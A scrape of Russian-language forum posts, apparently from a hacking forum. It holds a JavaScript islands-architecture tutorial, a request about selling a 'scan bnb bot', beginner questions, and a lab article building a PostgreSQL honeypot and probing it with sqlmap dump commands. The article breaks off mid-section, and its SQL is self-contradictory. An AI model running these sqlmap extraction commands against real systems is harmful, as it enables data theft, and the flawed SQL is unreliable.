  attributeChangedCallback(name, oldValue, newValue) {
    if (oldValue !== newValue) {
      this[name] = newValue;
    }
  }
}

// Пример использования компонента
export class SearchComponent extends BaseComponent {
  static get observedAttributes() {
    return ['endpoint', 'placeholder'];
  }

  constructor() {
    super();
    this.attachShadow({ mode: 'open' });
    this.state = {
      results: [],
      loading: false,
      error: null
    };
  }

  connectedCallback() {
    this.render();
    this.setupEventListeners();
  }

  setupEventListeners() {
    const input = this.shadowRoot.querySelector('input');
    input.addEventListener('input', this.debounce(this.handleSearch.bind(this), 300));
  }

  async handleSearch(event) {
    const query = event.target.value;
    if (query.length < 2) {
      this.setState({ results: [], error: null });
      return;
    }

    this.setState({ loading: true, error: null });

    try {
      const response = await fetch(`${this.endpoint}?q=${encodeURIComponent(query)}`);
      if (!response.ok) throw new Error('Search failed');
     
      const results = await response.json();
      this.setState({ results, loading: false });
    } catch (error) {
      this.setState({ error: error.message, loading: false });
    }
  }

  debounce(func, wait) {
    let timeout;
    return function executedFunction(...args) {
      const later = () => {
        clearTimeout(timeout);
        func(...args);
      };
      clearTimeout(timeout);
      timeout = setTimeout(later, wait);
    };
  }

  render() {
    const { results, loading, error } = this.state;
   
    this.shadowRoot.innerHTML = `
      <style>
        :host {
          display: block;
          position: relative;
        }
        .search-container {
          position: relative;
        }
        input {
          width: 100%;
          padding: 8px;
          border: 1px solid #ddd;
          border-radius: 4px;
        }
        .results {
          position: absolute;
          top: 100%;
          left: 0;
          right: 0;
          background: white;
          border: 1px solid #ddd;
          border-radius: 4px;
          margin-top: 4px;
          max-height: 300px;
          overflow-y: auto;
          box-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }
        .result-item {
          padding: 8px;
          cursor: pointer;
        }
        .result-item:hover {
          background: #f5f5f5;
        }
        .loading {
          padding: 8px;
          text-align: center;
          color: #666;
        }
        .error {
          padding: 8px;
          color: red;
        }
      </style>
     
      <div class="search-container">
        <input type="search"
               placeholder="${this.placeholder || 'Search...'}"
               aria-label="Search">
       
        ${loading ? `
          <div class="results">
            <div class="loading">Searching...</div>
          </div>
        ` : ''}
       
        ${error ? `
          <div class="results">
            <div class="error">${error}</div>
          </div>
        ` : ''}
       
        ${!loading && !error && results.length > 0 ? `
          <div class="results">
            ${results.map(result => `
              <div class="result-item" data-id="${result.id}">
                ${result.title}
              </div>
            `).join('')}
          </div>
        ` : ''}
      </div>
    `;

    // Добавляем обработчики для результатов поиска
    if (results.length > 0) {
      this.shadowRoot.querySelectorAll('.result-item').forEach(item => {
        item.addEventListener('click', () => {
          this.dispatch('result-selected', {
            id: item.dataset.id,
            title: item.textContent.trim()
          });
        });
      });
    }
  }
}

customElements.define('search-component', SearchComponent);

Как это работает​

  1. Наследование от BaseComponent : Компоненты, такие как SearchComponent, наследуют функциональность BaseComponent, включая управление состоянием и механизм события.
  2. Управление состоянием : Используя прокси-объект, мы можем автоматически отслеживать изменения состояния и вызывать render, когда данные обновляются.
  3. Отложенная обработка ввода : Функция debounce предотвращает избыточные запросы к API при вводе данных пользователем.
  4. Изоляция стилей и логики : Shadow DOM позволяет изолировать стили компонента, предотвращая их конфликт с другими стилями на странице.
  5. Взаимодействие с API : Компонент выполняет запросы к API для получения результатов поиска, обрабатывая как успешные ответы, так и ошибки.

2. Продвинутая реализация Islands Architecture​

2.1 Система управления островами​

В этом разделе мы разработаем IslandManager, который будет управлять этими островами, используя IntersectionObserver для отслеживания их видимости.

Реализация IslandManager​

JavaScript:Copy to clipboard

// islands/IslandManager.js
export class IslandManager {
  constructor(options = {}) {
    this.options = {
      threshold: 0.1,
      rootMargin: '50px',
      ...options
    };
   
    this.islands = new Map();
    this.hydrationQueue = new Map();
    this.observer = this.createObserver();
  }

  createObserver() {
    return new IntersectionObserver(
      (entries) => this.handleIntersection(entries),
      this.options
    );
  }

  async handleIntersection(entries) {
    const visibleIslands = entries
      .filter(entry => entry.isIntersecting)
      .map(entry => entry.target);

    if (visibleIslands.length === 0) return;

    // Приоритизируем острова на основе их позиции на странице
    const prioritizedIslands = this.prioritizeIslands(visibleIslands);
   
    // Последовательно гидратируем острова
    for (const island of prioritizedIslands) {
      await this.hydrateIsland(island);
    }
  }

  prioritizeIslands(islands) {
    return islands.sort((a, b) => {
      const aRect = a.getBoundingClientRect();
      const bRect = b.getBoundingClientRect();
      return aRect.top - bRect.top;
    });
  }

  async hydrateIsland(island) {
    const id = island.dataset.islandId;
    if (this.islands.has(id)) return;

    const type = island.dataset.islandType;
    if (!type) {
      console.warn(`Island ${id} has no type specified`);
      return;
    }

    try {
      const module = await this.loadIslandModule(type);
      await this.initializeIsland(island, module);
      this.islands.set(id, true);
    } catch (error) {
      console.error(`Failed to hydrate island ${id}:`, error);
    }
  }

  async loadIslandModule(type) {
    // Кэшируем промисы загрузки модулей
    if (!this.hydrationQueue.has(type)) {
      this.hydrationQueue.set(type, import(`./types/${type}.js`));
    }
    return this.hydrationQueue.get(type);
  }

  async initializeIsland(island, module) {
    const props = this.parseIslandProps(island);
   
    // Создаём песочницу для острова
    const sandbox = this.createIslandSandbox(island);
   
    // Инициализируем остров в песочнице
    await module.default(island, props, sandbox);
  }

  parseIslandProps(island) {
    try {
      return JSON.parse(island.dataset.islandProps || '{}');
    } catch (error) {
      console.warn(`Invalid props for island ${island.dataset.islandId}:`, error);
      return {};
    }
  }

  createIslandSandbox(island) {
    const sandbox = {
      dispatch: (eventName, detail) => {
        island.dispatchEvent(new CustomEvent(eventName, {
          detail,
          bubbles: true,
          composed: true
        }));
      },
      // Добавляем другие безопасные API
    };

    return new Proxy(sandbox, {
      get(target, prop) {
        if (prop in target) {
          return target[prop];
        }
        throw new Error(`Access to '${prop}' is not allowed in island sandbox`);
      }
    });
  }

  observe(element) {
    if (element.dataset.islandId) {
      this.observer.observe(element);
    } else {
      element.querySelectorAll('[data-island-id]').forEach(island => {
        this.observer.observe(island);
      });
    }
  }
 
  disconnect() {
    this.observer.disconnect();
    this.islands.clear();
    this.hydrationQueue.clear();
  }
}

Основные функции​

  1. Отслеживание видимости : Используя IntersectionObserver, IslandManager отслеживает, когда острова становятся видимыми на экране.
  2. Приоритизация : Острова, которые видны на экране, сортируются по их позиции, чтобы гарантировать, что сначала будут загружены наиболее важные элементы.
  3. Гидратация островов : Для каждого видимого острова происходит его гидратация, что включает в себя загрузку необходимых модулей и инициализацию компонентов.
  4. Песочница для безопасного взаимодействия : Создается песочница, которая позволяет компонентам безопасно взаимодействовать друг с другом и с окружением.
  5. Кэширование модулей : Модули для островов кэшируются, чтобы избежать повторной загрузки одного и того же ресурса при взаимодействии с несколькими экземплярами одного типа острова.

Далее представлен пример реализации острова с интерактивной картой, который будет загружаться и инициализироваться только по мере необходимости.

JavaScript:Copy to clipboard

// islands/types/MapIsland.js
export default async function initializeMapIsland(element, props, sandbox) {
  // Загружаем карту только когда она действительно нужна
  const { createMap } = await import('./map-library.js');

  const state = new Proxy({
    markers: props.initialMarkers || [],
    center: props.initialCenter || { lat: 0, lng: 0 },
    zoom: props.initialZoom || 10
  }, {
    set(target, prop, value) {
      target[prop] = value;
      render();
      return true;
    }
  });

  const map = await createMap(element, {
    center: state.center,
    zoom: state.zoom,
    markers: state.markers
  });

  function render() {
    map.setView(state.center, state.zoom);
    map.updateMarkers(state.markers);
  }

  // Обработка событий
  map.on('moveend', () => {
    const center = map.getCenter();
    const zoom = map.getZoom();
    sandbox.dispatch('map-moved', { center, zoom });
  });

  map.on('click', (event) => {
    const { lat, lng } = event.latlng;
    sandbox.dispatch('map-clicked', { lat, lng });
  });

  // Экспортируем API для внешнего взаимодействия
  element.mapApi = {
    addMarker(marker) {
      state.markers = [...state.markers, marker];
    },
    removeMarker(markerId) {
      state.markers = state.markers.filter(m => m.id !== markerId);
    },
    setCenter(center) {
      state.center = center;
    },
    setZoom(zoom) {
      state.zoom = zoom;
    }
  };
}

2.2 Продвинутая система межостровной коммуникации​

Давайте буду объяснять по частям код.

Структура IslandBus

JavaScript:Copy to clipboard

// islands/IslandBus.js
export class IslandBus {
constructor() {
this.subscribers = new Map();
this.messageQueue = new Map();
}

subscribe(islandId, eventType, callback) {
if (!this.subscribers.has(eventType)) {
this.subscribers.set(eventType, new Map());
}

const eventSubscribers = this.subscribers.get(eventType);
if (!eventSubscribers.has(islandId)) {
eventSubscribers.set(islandId, new Set());
}

eventSubscribers.get(islandId).add(callback);

// Проверяем, есть ли отложенные сообщения
if (this.messageQueue.has(eventType)) {
const messages = this.messageQueue.get(eventType);
messages.forEach(message => {
if (message.target === islandId || message.target === '*') {
callback(message.data);
}
});
// Очищаем обработанные сообщения
this.messageQueue.set(eventType,
messages.filter(m => m.target !== islandId && m.target !== '*')
);
}
}

В этом коде класс IslandBus управляет подписками на события и очередями сообщений. Метод subscribe добавляет обработчик для конкретного острова и типа события, а также проверяет наличие отложенных сообщений, которые могут быть переданы новым подписчикам.

Публикация сообщений

Метод publish отправляет сообщения всем подписчикам, а также сохраняет сообщения в очередь для будущих подписчиков.

JavaScript:Copy to clipboard

publish(sourceIslandId, eventType, data, target = '*') {
// Если есть активные подписчики, отправляем сообщение немедленно
if (this.subscribers.has(eventType)) {
const eventSubscribers = this.subscribers.get(eventType);
eventSubscribers.forEach((callbacks, islandId) => {
if (islandId === target || target === '*') {
callbacks.forEach(callback => callback(data, sourceIslandId));
}
});
}

// Сохраняем сообщение в очередь для будущих подписчиков
if (!this.messageQueue.has(eventType)) {
this.messageQueue.set(eventType, []);
}
this.messageQueue.get(eventType).push({
data,
target,
timestamp: Date.now()
});

// Очищаем старые сообщения
this.cleanupMessageQueue();
}

Очистка очереди сообщений

Очередь сообщений очищается с помощью метода cleanupMessageQueue, который удаляет старые сообщения.

JavaScript:Copy to clipboard

cleanupMessageQueue(maxAge = 5000) { // 5 секунд
const now = Date.now();
this.messageQueue.forEach((messages, eventType) => {
const filteredMessages = messages.filter(
message => now - message.timestamp < maxAge
);
if (filteredMessages.length === 0) {
this.messageQueue.delete(eventType);
} else {
this.messageQueue.set(eventType, filteredMessages);
}
});
}
}

Пример использования IslandBus​

Теперь рассмотрим, как использовать IslandBus для коммуникации между островами. Мы создадим два острова: CartIsland и ProductIsland.

CartIsland

JavaScript:Copy to clipboard

// islands/types/CartIsland.js
export default async function initializeCartIsland(element, props, sandbox) {
const bus = window.islandBus; // глобальный экземпляр IslandBus

const state = {
items: props.initialItems || [],
total: 0
};

function updateTotal() {
state.total = state.items.reduce(
(sum, item) => sum + item.price * item.quantity,
0
);
render();
}

function render() {
element.innerHTML = `
<div class="cart">
<h3>Корзина (${state.items.length})</h3>
<div class="cart-items">
${state.items.map(item => `
<div class="cart-item" data-id="${item.id}">
<span>${item.name}</span>
<span>${item.quantity} x ${item.price}₽</span>
<button class="remove-item">✕</button>
</div>
`).join('')}
</div>
<div class="cart-total">
Итого: ${state.total}₽
</div>
</div>
`;

// Добавляем обработчики событий
element.querySelectorAll('.remove-item').forEach(button => {
const itemId = button.closest('.cart-item').dataset.id;
button.addEventListener('click', () => {
removeItem(itemId);
});
});
}

function addItem(item) {
const existingItem = state.items.find(i => i.id === item.id);
if (existingItem) {
existingItem.quantity += 1;
} else {
state.items.push({ ...item, quantity: 1 });
}
updateTotal();
bus.publish('cart', 'cart:updated', {
itemCount: state.items.length,
total: state.total
});
}

function removeItem(itemId) {
state.items = state.items.filter(item => item.id !== itemId);
updateTotal();
bus.publish('cart', 'cart:updated', {
itemCount: state.items.length,
total: state.total
});
}

// Подписываемся на события добавления товаров
bus.subscribe('cart', 'product:added-to-cart', addItem);

// Начальная отрисовка
render();

// Очистка при удалении острова
return () => {
bus.unsubscribe('cart', 'product:added-to-cart', addItem);
};
}

CartIsland​

  1. Инициализация : При инициализации CartIsland создается локальное состояние, включающее товары и общую стоимость.
  2. Функция updateTotal : Эта функция пересчитывает общую стоимость всех товаров в корзине. Она использует метод reduce для суммирования цен с учетом их количества и вызывает функцию render для обновления пользовательского интерфейса.
  3. Функция render : Отвечает за отрисовку содержимого корзины в элементе DOM. Она создает HTML-код для отображения товаров и общей стоимости.
  4. Функция addItem : Добавляет товар в корзину. Если товар уже существует, увеличивает его количество. После этого она вызывает updateTotal и отправляет сообщение о том, что корзина обновилась.
  5. Функция removeItem : Удаляет товар из корзины по его идентификатору и обновляет общую стоимость.
  6. Подписка на события : CartIsland подписывается на событие product:added-to-cart, чтобы автоматически обновлять корзину при добавлении новых товаров с помощью ProductIsland.
  7. Очистка : Возвращается функция для отписки от события при удалении острова, предотвращая утечки памяти.

ProductIsland

JavaScript:Copy to clipboard

// islands/types/ProductIsland.js
export default async function initializeProductIsland(element, props, sandbox) {
const bus = window.islandBus;

const state = {
product: props.product,
loading: false
};

function render() {
element.innerHTML = `
<div class="product-card">
<h3>${state.product.name}</h3>
<p>${state.product.description}</p>
<div class="price">${state.product.price}₽</div>
<button class="add-to-cart" ${state.loading ? 'disabled' : ''}>
${state.loading ? 'Добавление...' : 'В корзину'}
</button>
</div>
`;

element.querySelector('.add-to-cart').addEventListener('click', async () => {
state.loading = true;
render();

try {
// Имитация запроса к API
await new Promise(resolve => setTimeout(resolve, 500));

bus.publish('product', 'product:added-to-cart', state.product);

// Показываем уведомление об успехе
sandbox.dispatch('notification', {
type: 'success',
message: 'Товар добавлен в корзину'
});
} catch (error) {
sandbox.dispatch('notification', {
type: 'error',
message: 'Не удалось добавить товар'
});
} finally {
state.loading = false;
render();
}
});
}

// Начальная отрисовка
render();
}

ProductIsland​

  1. Инициализация : ProductIsland получает информацию о товаре через props и устанавливает состояние загрузки.
  2. Функция render : Отвечает за отрисовку карточки товара. Она включает информацию о товаре и кнопку для добавления в корзину. Кнопка блокируется во время загрузки.
  3. Обработчик события : На кнопку "В корзину" устанавливается обработчик события, который имитирует задержку, затем публикует сообщение о добавлении товара в корзину с помощью IslandBus.
  4. Уведомления : После успешного добавления или при ошибке показывается уведомление через sandbox.dispatch.
  5. Начальная отрисовка : Вызывается функция render, чтобы отобразить товар при инициализации.

2.3 Оптимизация производительности островов​

Структура IslandOptimizer

JavaScript:Copy to clipboard

// islands/IslandOptimizer.js
export class IslandOptimizer {
constructor(options = {}) {
this.options = {
maxConcurrentHydrations: 3,
hydrationTimeout: 2000,
...options
};

this.hydrationQueue = [];
this.activeHydrations = new Set();
this.completedHydrations = new Set();
}

Конструктор принимает объект параметров, позволяя настраивать максимальное количество одновременно обрабатываемых гидратаций и время ожидания для каждой задачи.

Планирование гидратации

Метод scheduleHydration добавляет остров в очередь на гидратацию, рассчитывая приоритет.

JavaScript:Copy to clipboard

async scheduleHydration(island) {
return new Promise((resolve, reject) => {
const hydrationTask = {
island,
resolve,
reject,
priority: this.calculatePriority(island),
timestamp: Date.now()
};

this.hydrationQueue.push(hydrationTask);
this.processQueue();
});
}

Расчет приоритета

Приоритет задач зависит от положения острова на экране. Острова, находящиеся в видимой области, получают более высокий приоритет.

JavaScript:Copy to clipboard

calculatePriority(island) {
const rect = island.getBoundingClientRect();
const viewportHeight = window.innerHeight;

// Приоритет выше для островов в области видимости
if (rect.top < viewportHeight) {
return 1 - (rect.top / viewportHeight);
}
return 0;
}

Обработка очереди

Метод processQueue управляет очередью задач и запускает гидратацию для островов в зависимости от приоритета и доступных ресурсов.

JavaScript:Copy to clipboard

async processQueue() {
if (this.activeHydrations.size >= this.options.maxConcurrentHydrations) {
return;
}

// Сортируем очередь по приоритету
this.hydrationQueue.sort((a, b) => b.priority - a.priority);

while (this.hydrationQueue.length > 0 &&
this.activeHydrations.size < this.options.maxConcurrentHydrations) {
const task = this.hydrationQueue.shift();

if (this.completedHydrations.has(task.island)) {
task.resolve();
continue;
}

this.activeHydrations.add(task.island);

try {
await Promise.race([
this.hydrateIsland(task.island),
this.createTimeout(task.island)
]);

this.completedHydrations.add(task.island);
task.resolve();
} catch (error) {
task.reject(error);
} finally {
this.activeHydrations.delete(task.island);
this.processQueue();
}
}
}

Таймаут для гидратации

Метод createTimeout создает таймаут, чтобы избежать зависания, если гидратация не завершилась в установленное время.

JavaScript:Copy to clipboard

createTimeout(island) {
return new Promise((_, reject) => {
setTimeout(() => {
reject(new Error(`Hydration timeout for island ${island.dataset.islandId}`));
}, this.options.hydrationTimeout);
});
}

Гидратация острова

Метод hydrateIsland отвечает за динамическую загрузку и инициализацию острова, а также за измерение времени, необходимого для завершения процесса.

JavaScript:Copy to clipboard

async hydrateIsland(island) {
const type = island.dataset.islandType;
const module = await import(`./types/${type}.js`);

// Измеряем производительность
const start = performance.now();

try {
await module.default(island);

const duration = performance.now() - start;
this.reportPerformance(island, duration);
} catch (error) {
console.error(`Failed to hydrate island ${island.dataset.islandId}:`, error);
throw error;
}
}

Отчет о производительности

Метод reportPerformance собирает и отправляет данные о времени выполнения гидратации, что позволяет анализировать и оптимизировать процесс.

JavaScript:Copy to clipboard

reportPerformance(island, duration) {
// Отправляем метрики производительности
if (window.performance && window.performance.mark) {
window.performance.mark(`island-hydration-${island.dataset.islandId}`);

window.performance.measure(
`island-hydration-duration-${island.dataset.islandId}`,
{
duration,
detail: {
type: island.dataset.islandType,
size: island.getBoundingClientRect()
}
}
);
}
}
}

Заключение

Статья оказалась достаточно объёмной в плане представленного кода, при этом я старался предоставлять ясные и лаконичные объяснения. Тема веб-разработки действительно требует более детального изучения, поскольку она охватывает множество аспектов, которые важны для формирования прочной базы знаний. Надеюсь, что материал вдохновит читателей на дальнейшее изучение и практику в веб-разработке. Спасибо за чтение!

Ищу инфу о scan bnb bot
ID: 67668b27b4103b69df375d65
Thread ID: 59301
Created: 2021-11-25T10:58:03+0000
Last Post: 2021-12-16T04:28:28+0000
Author: Nagluy_Kotofey
Replies: 1 Views: 438

Всем ку!

Ищу инфу о scan bnb bot
Как делают, где продают, где ищут ликвид и т.д.

Спасибо!

js junior задача
ID: 67668b27b4103b69df375d58
Thread ID: 65451
Created: 2022-04-10T18:57:07+0000
Last Post: 2022-04-13T18:47:02+0000
Author: koshak
Replies: 9 Views: 435

после ознакомления с языком - захотелось решить задачи, дабы появилась набитая рука.
задача: посчитать кол-во букв в строке, пример:

['a', 'b', 'c', 'c', 'c'];
[a, 1]
[b, 1]
[c:, 3]

начал решать, вот что получилось

JavaScript:Copy to clipboard

const p = ['a', 'b', 'c', 'c', 'c'];
const b = [];

for (let key in p) {
    b.push([p[key], 1]);
}

console.log(b);

поймал себя на мысли, что не могу понять как сделать проверку, что в массиве уже есть буква и вместо очередного добавления надо сделать ++. какие методы решения проблемы?

а еще как-то приунылось с того, что весь день не могу решить простую задачу.....

Материал для изучения PHP
ID: 67668b27b4103b69df375d63
Thread ID: 60647
Created: 2021-12-29T12:08:31+0000
Last Post: 2021-12-29T12:08:31+0000
Author: Pirate
Replies: 0 Views: 433

PHP for Beginners - Become a PHP Master Training Video Course

[ PHP for Beginners - Become a PHP Master – Google Drive

](https://drive.google.com/drive/folders/1KathdSgva3kIRfokjFrtHpfESzahaRmP?usp=sharing)

drive.google.com drive.google.com

Всем удачного и продуктивного обучения!

SQL-DB как способ попробовать свои силы и понять принцип работы сокрытия данных.
ID: 67668b27b4103b69df375cb1
Thread ID: 125474
Created: 2024-10-24T17:43:42+0000
Last Post: 2024-10-24T17:43:42+0000
Author: n0_mad
Prefix: Статья
Replies: 0 Views: 431

Автор: NomadSP
Источник: XSS.is

Итак, перед нами стоит задача:
Создать защищённую базу данных, используя SQL, чтобы потом интегрировать honeypot с триггером на неё.
В данном случае мы создаём некую песочницу для дальнейшего тестирования на проникновение или изучения утилит.

Начнём.
Нам понадобится PostgreSQL. Обновляемся через sudo apt update и приступаем.

Шаг 1. Установка PostgreSQL.

Bash:Copy to clipboard

sudo apt install postgresql postgresql-contrib -y

Обратите внимание, что используется postgresql - основная серверная часть + postgresql-contrib - пакет дополнительных модулей и утилит, которые могут быть нам полезны.

Шаг 2. Проверяем состояние службы.

Bash:Copy to clipboard

sudo systemctl status postgresql

Если служба не запущена, то используем:

Bash:Copy to clipboard

sudo systemctl start postgresql

Шаг 3. Настраиваем PostgreSQL.
При установке, по умолчанию, задаётся имя пользователя postgres, поэтому чтобы войти в систему как данный пользователь, используем:

Bash:Copy to clipboard

sudo -i -u postgres

Далее открываем консоль через команду:

Bash:Copy to clipboard

psql

Шаг 4. Создаём первую базу данных.
В консоли можно создать новую базу данных, я предлагаю обыграть это ситуативно:

1. База данных содержит информацию о клиентах, сотрудниках, а так же авторизованных устройствах.
2. Каждая таблица имеет свои значения.
3. Создаётся список "белых IP адресов".

SQL:Copy to clipboard

CREATE DATABASE my_database;

После создания базы данных, подключаемся с помощью:

SQL:Copy to clipboard

c my_database;

Шаг 5. Создаём таблицы.

Шаг 5.1. Таблица clients:

SQL:Copy to clipboard

CREATE TABLE clients (
    userid SERIAL PRIMARY KEY,
    phone VARCHAR(15),
    email VARCHAR(255) UNIQUE,
    first_name VARCHAR(50),
    last_name VARCHAR(50)
);

Где используются такие значения как: userid, номер телефона, адрес почты, имя и фамилия.

Шаг 5.2. Таблица employees:

SQL:Copy to clipboard

CREATE TABLE employees (
    userid SERIAL PRIMARY KEY,
    phone VARCHAR(15),
    email VARCHAR(255) UNIQUE,
    first_name VARCHAR(50),
    last_name VARCHAR(50)
);

Здесь тоже зададим: userid, номер телефона, адрес почты, имя и фамилия.

Шаг 5.3. Таблица authorized_devices:

SQL:Copy to clipboard

CREATE TABLE authorized_devices (
    id SERIAL PRIMARY KEY,
    user_id INT,
    device_info VARCHAR(255),
    ip_address INET,
    browser_fingerprint VARCHAR(255),
    FOREIGN KEY (user_id) REFERENCES clients(userid) ON DELETE CASCADE,
    FOREIGN KEY (user_id) REFERENCES employees(userid) ON DELETE CASCADE
);

Тут используем интересующие нас: userid, информация об устройстве, IP, отпечаток браузера(сессии).

Шаг 6. Таблица IP whitelist.

SQL:Copy to clipboard

CREATE TABLE ip_whitelist (
    id SERIAL PRIMARY KEY,
    ip_address INET UNIQUE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

В данной таблице будут хранится все IP, которые были одобрены.

Для автоматического добавления можно использовать адаптированную версию скрипта ниже:

SQL:Copy to clipboard

CREATE OR REPLACE FUNCTION add_ip_to_whitelist()
RETURNS TRIGGER AS $$
BEGIN
    INSERT INTO ip_whitelist (ip_address)
    VALUES (NEW.ip_address)
    ON CONFLICT (ip_address) DO NOTHING; -- Например, гнорировать, если IP уже есть
    RETURN NEW;
END;
$$ LANGUAGE plpgsql;

Шаг 7. Задаём триггер.
Для того, чтобы наша база данных поплнялась, необходимо задать условия, например:

SQL:Copy to clipboard

CREATE TRIGGER insert_ip_whitelist
AFTER INSERT ON authorized_devices
FOR EACH ROW EXECUTE PROCEDURE add_ip_to_whitelist();

В финальном варианте мы имеем относительно содержательную базу данных, которую стоит защищать, так как там есть данные и о клиентах, и о сотрудниках, и чувствительные данные об устройствах.
**
Внесём первые данные для большей содержательности.**

Шаг 1. Добавляем клиентскую информацию.

SQL:Copy to clipboard

INSERT INTO clients (phone, email, first_name, last_name)
VALUES ('1234567890', 'client@xss.is', 'John', 'Doe');

Шаг 2. Добавляем информацию о сотруднике.

SQL:Copy to clipboard

INSERT INTO employees (phone, email, first_name, last_name)
VALUES ('0987654321', 'employee@xss.is', 'Jane', 'Doe');

Шаг 3. Добавляем авторизованные устройства.

SQL:Copy to clipboard

INSERT INTO authorized_devices (user_id, device_info, ip_address, browser_fingerprint)
VALUES (1, 'Device Info', 'IP_here', 'fingerprint_data');

Теперь наша база ещё и имеет внутри данные. Поэтому необходим первичный слой защиты.

Да, еще и на всякий случай, можно подключаться к PostgreSQL через удобную GUI утилиту pgAdmin:

Bash:Copy to clipboard

sudo apt install pgadmin4

Запустим:

Bash:Copy to clipboard

pgadmin4

Здесь важно уделить внимание настройкам, после выбора "Server" -> "Create Server".
1. General -> Name: Имя сервера, можно задать любое удобное.
2. Connection -> Host: Адрес сервера где установлен PostgreSQL или localhost, если работаем с локальным сервером.
3. Connection -> Port: Указываем порт, по умолчанию tcp/5432.
4. Connection -> Maintenance database: Имя созданной нами базы.
5. Connection -> Username/Password: Указываем имя и пароль пользователя PostgreSQL.

Далее происходит подключение и вывод вашей DB.

Создаём элемент защиты.
Для создания полноценной картины, можно так же использовать поддержку шифрования.

Для этого детально рассмотрим 2 пути:
- Опция 1, при использовании MySQL -

Шаг 1. Проверяем поддержку шифрования.
В конфигурации MySQL находим файл my.cnf и проверяем, что содержимое равно

INI:Copy to clipboard

[mysqld]
   innodb_encrypt_tables=ON
   innodb_encrypt_log=ON

Шаг 2. Создаём ключ шифрования.

SQL:Copy to clipboard

SET GLOBAL innodb_encryption_keys_rotation = ON;

Шаг 3. Шифруем таблицу.

SQL:Copy to clipboard

ALTER TABLE "название_таблицы" ENCRYPTION='Y';

Обращаем так же наше внимание, что для каждой таблицы необходимо проделать то же самое.

Шаг 4. Проверяем шифрование.
Сделать это можно с помощью:

SQL:Copy to clipboard

SELECT TABLE_NAME, CREATE_OPTIONS
   FROM information_schema.tables
   WHERE TABLE_SCHEMA='название_базы';

Здесь уже вводим именно название базы данных, а не таблиц.

- Опция 2, используя PostgerSQL - (более подходит)

Поскольку мы подгрузили все плагины и утилиты postgre, то нам должен быть доступен инструмент pgcrypto.

Шаг 1. Устанавливаем pgcrypto.

SQL:Copy to clipboard

CREATE EXTENSION pgcrypto;

Шаг 2. Шифруем данные при вводе.

SQL:Copy to clipboard

INSERT INTO ваша_таблица (column1, column2) -- Обратите внимание на количество колонок, необходимо ввести все
   VALUES (pgp_sym_encrypt('your_data', 'your_secret_key'), 'other_data');

Шаг 3. Дешифровка данных.
Чтобы получить зашифрованные данные мы можем воспользоваться:

SQL:Copy to clipboard

SELECT pgp_sym_decrypt(column1::bytea, 'your_secret_key') AS decrypted_data -- Каждая колонка в выбранной таблице
   FROM your_table;

В итоге мы получаем хотя бы что-то, с чем можно уже взаимодействовать для дальнейших игр в песочнице. Для большего интереса, попробуем ещё и добавить взаимодействие с honeypot, чтобы что-то отвлекало внимание от нашей созданной базы данных.

Создаём honeypot.
Для этой цели используем инструмент honeyd. Он позволит нам обыграть ловушки для дальнейшего тестирования своих знаний.

Шаг 1. Устанавливаем Python зависимости.

Bash:Copy to clipboard

sudo apt install python3 python3-pip git -y

Шаг 2. Устанавливаем honeyd.

Bash:Copy to clipboard

sudo apt install honeyd -y

Шаг 3. Создадим конфигурационный файл.
Для дальнейшего взаимодействия нам необходимо вносить свои настройки, поэтому создаём файл через:

Bash:Copy to clipboard

sudo nano /etc/honeyd/honeyd.conf

Шаг 4. Имитируем MySQL сервер.
В открытом через nano файле вносим следующее:

Code:Copy to clipboard

create mysql
   set mysql personality "MySQL 5.7"
   set mysql service "mysql"
   add mysql tcp port 3306 open
   set mysql reply "Welcome to MySQL"
  
   bind <IP_адрес> mysql  # Замените на ваш IP

Сохраняем и выходим.

Шаг 5. Запуск honeyd.
Для запуска используем следующую команду + название созданного файла конфигурации:

Bash:Copy to clipboard

sudo honeyd -d -f /etc/honeyd/honeyd.conf

Далее нам необходимо перенаправить траффик, который идёт к реальной базе через наш созданный honeypot.

Шаг 1. Установим iptables(если его ещё нет).

Bash:Copy to clipboard

sudo apt install iptables -y

Шаг 2. Настроим правила iptables.
Например:
sudo iptables -t nat -A PREROUTING -p tcp --dport 3306 -j DNAT --to- destination <IP_адрес>:3306
sudo iptables -A FORWARD -p tcp -d <IP_адрес> --dport 3306 -j ACCEPT

В данном случае траффик перенаправляется на порт honeypot.

Шаг 3. Настроим логирование.
В конфигурационном файле добавляем строку для сохранения данных:

Code:Copy to clipboard

log mysql /var/log/honeyd/mysql.log

Шаг 4. Создаём директорию для хранения логов.

Bash:Copy to clipboard

sudo mkdir /var/log/honeyd
   sudo touch /var/log/honeyd/mysql.log
   sudo chown honeyd:honeyd /var/log/honeyd/mysql.log

Дойдя до этого этапа мы получим базу, имеющую данные, шифрованную с помощью некоторых утилит, вдобавок имеющую honeypot. Всё, что теперь необходимо, это "пощупать" данную конструкцию, перейдём к этому.

SQLmap.
Именно с этого варианта я бы начал, чтобы проверить реакцию honeypot или базы на SQL инъекции.

Шаг 1. Установим sqlmap.

Bash:Copy to clipboard

sudo apt install sqlmap

Шаг 2. Используем для проверки уязвимости.

Bash:Copy to clipboard

sqlmap -u "http://<IP_адрес>/index.php?id=1" --batch --dbs

_
В этом случае мы используем опции:_

_-u указывает URL для тестирования.

--batch автоматически отвечает на вопросы SQLmap по умолчанию (без участия пользователя).

--dbs выводит список баз данных на целевом сервере._

Шаг 3. Получаем результаты.

После запуска SQLmap, мы увидим вывод с результатами попытки инъекции. Если SQL-инъекция удалась, то мы увидим список баз данных, например:

Bash:Copy to clipboard

[INFO] the back-end DBMS is MySQL
[INFO] fetching database names
available databases [2]:
[*] созданная_база_данных
[*] honeypot_база_данных

Шаг 4. Пробуем извлечь данные из базы.

Bash:Copy to clipboard

sqlmap -u "http://<IP_адрес>/index.php?id=1" -D созданная_база_данных --tables

Шаг 5. Пробуем извлечь данные из таблиц.

Bash:Copy to clipboard

sqlmap -u "http://<IP_адрес>/index.php?id=1" -D созданная_база_данных -T <параметр> --dump

В обоих случаях есть возможность "вытянуть" чувствительные данные.

Тогда зачем мы применяли шифрование, если это всё спокойно видно в SQLmap?
Разъясняю. pgcrypto даёт нам возможность оставить сюрприз, в виде зашифрованных данных.

Например, мы настроили шифровку столбца "phone" с помощью:

SQL:Copy to clipboard

CREATE TABLE clients (
    id serial PRIMARY KEY,
    username text,
    password text
);

-- Зашифруем данные с помощью функции pgcrypto
INSERT INTO clients (phone, email)
VALUES ('123456789', crypt('client@xss.is', gen_salt('bf')));

Конкретно в данном примере, мы используем алгоритм шифрования bcrypt.

Что же тогда мы увидим, применив SQLmap к данной таблице?

Используем:

Bash:Copy to clipboard

